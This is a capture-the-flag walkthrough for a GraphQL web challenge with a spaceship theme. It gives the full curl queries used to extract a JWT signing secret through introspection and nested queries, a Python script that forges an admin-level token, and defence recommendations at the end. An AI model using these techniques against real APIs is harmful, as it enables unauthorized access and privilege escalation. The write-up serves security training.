Космический терминал (Cosmic Terminal)
Космический терминал (Cosmic Terminal)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: graphql_introspection, jwt_forgery, jwt_secret_extraction, nested_query_exploitation
Summary
Walkthrough of the CUSTOM Web Космический терминал (Cosmic Terminal). Task: GraphQL API with JWT authentication on abandoned spaceship terminal. Solution: Exploited enabled introspection to discover nested query path to JWT signing secret, forged token with captain priv
Description
На заброшенном космическом корабле, дрейфующем в бездне космоса, внезапно пропал весь экипаж. Вас послали расследовать этот инцидент, но не дали ключей доступа. Вы обнаружили еще работающий терминал, получится ли у вас получить доступ к секретной информации?
(Translation: On an abandoned spaceship drifting in the void of space, the entire crew suddenly disappeared. You were sent to investigate this incident, but were not given access keys. You found a still-working terminal, can you gain access to the secret information?)
URL: http://tasks.duckerz.ru:30024
Analysis
Reconnaissance
While exploring the web application, the following was discovered:
- Frontend: React + xterm.js (terminal interface)
- Backend: GraphQL API at
/graphql
GraphQL Introspection
First, we check if GraphQL introspection is enabled:
bash read-only • copy allowedcurl -s http://tasks.duckerz.ru:30024/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{ __schema { types { name } } }"}'
Introspection is enabled! Interesting types discovered:
SecretVaultJWTConfigs(containssigningSecretfield!)EncryptedCredentialsAccessControl
Query Analysis
Query getFlag - requires captain privileges:
bash read-only • copy allowedcurl -s http://tasks.duckerz.ru:30024/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{ getFlag }"}'
Response: {"errors":[{"message":"Unauthorized: Captain privileges required"...}]}
Query getToken - returns JWT with is_captain: false:
bash read-only • copy allowedcurl -s http://tasks.duckerz.ru:30024/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{ getToken { token } }"}'
Decoded JWT payload:
json read-only • copy allowed{"is_captain": false, "iat": 1768485891, "exp": 1768572291}
Finding the JWT Secret
Through GraphQL schema mapping, a path to the JWT secret was found:
ship_system_info → dataCore → systemConfigs → accessCredentials → secretStorage → credentials → secretKeys → signingSecret
Solution
Step 1: Extracting the JWT Secret
bash read-only • copy allowedcurl -s http://tasks.duckerz.ru:30024/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{ ship_system_info { dataCore { systemConfigs { accessCredentials { secretStorage { credentials { secretKeys { signingSecret } } } } } } } }"}'
Response:
json read-only • copy allowed{ "data": { "ship_system_info": { "dataCore": { "systemConfigs": { "accessCredentials": { "secretStorage": { "credentials": { "secretKeys": { "signingSecret": "NebulaStarfleet7429GalaxyNova3851X" } } } } } } } } }
JWT Secret: NebulaStarfleet7429GalaxyNova3851X
Step 2: Creating a Forged JWT Token
python read-only • copy allowed#!/usr/bin/env python3 import jwt import time secret = "NebulaStarfleet7429GalaxyNova3851X" payload = { "is_captain": True, # Elevating privileges! "iat": int(time.time()), "exp": int(time.time()) + 86400 } token = jwt.encode(payload, secret, algorithm="HS256") print(token) # eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc19jYXB0YWluIjp0cnVlLCJpYXQiOjE3Njg0ODU5MzQsImV4cCI6MTc2ODU3MjMzNH0.roTu6ww-CuApYvqQmPvxAXnMEpT7z3kWKidzoT-HUmI
Step 3: Getting the Flag
bash read-only • copy allowedcurl -s http://tasks.duckerz.ru:30024/graphql \ -H "Content-Type: application/json" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc19jYXB0YWluIjp0cnVlLCJpYXQiOjE3Njg0ODU5MzQsImV4cCI6MTc2ODU3MjMzNH0.roTu6ww-CuApYvqQmPvxAXnMEpT7z3kWKidzoT-HUmI" \ -d '{"query":"{ getFlag }"}'
Response:
json read-only • copy allowed{"data":{"getFlag":"DUCKERZ{REDACTED}"}}
Exploited Vulnerabilities
| # | Vulnerability | Description | Severity |
|---|---|---|---|
| 1 | GraphQL Introspection Enabled | Allows full exploration of the API schema, including sensitive types | Medium |
| 2 | Sensitive Data Exposure via GraphQL | JWT signing secret accessible through nested queries without authorization | Critical |
| 3 | Insufficient Access Control | No protection for sensitive fields in GraphQL schema | High |
| |
Defense Recommendations
-
Disable introspection in production:
javascript read-only • copy allowedconst server = new ApolloServer({ introspection: false, ... }); -
Use authorization directives:
graphql read-only • copy allowedtype JWTConfigs @auth(requires: ADMIN) { signingSecret: String! } -
Do not store secrets in GraphQL schema - use environment variables
-
Implement field-level authorization for sensitive data
Useful Links
- GraphQL Introspection
- JWT.io - JWT decoding and debugging
- OWASP GraphQL Cheat Sheet
Key Takeaways / Lessons
- Mastering graphql_introspection, jwt_forgery, jwt_secret_extraction, nested_query_exploitation was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-01-15 • CUSTOM • Космический терминал (Cosmic Terminal) • Difficulty: Medium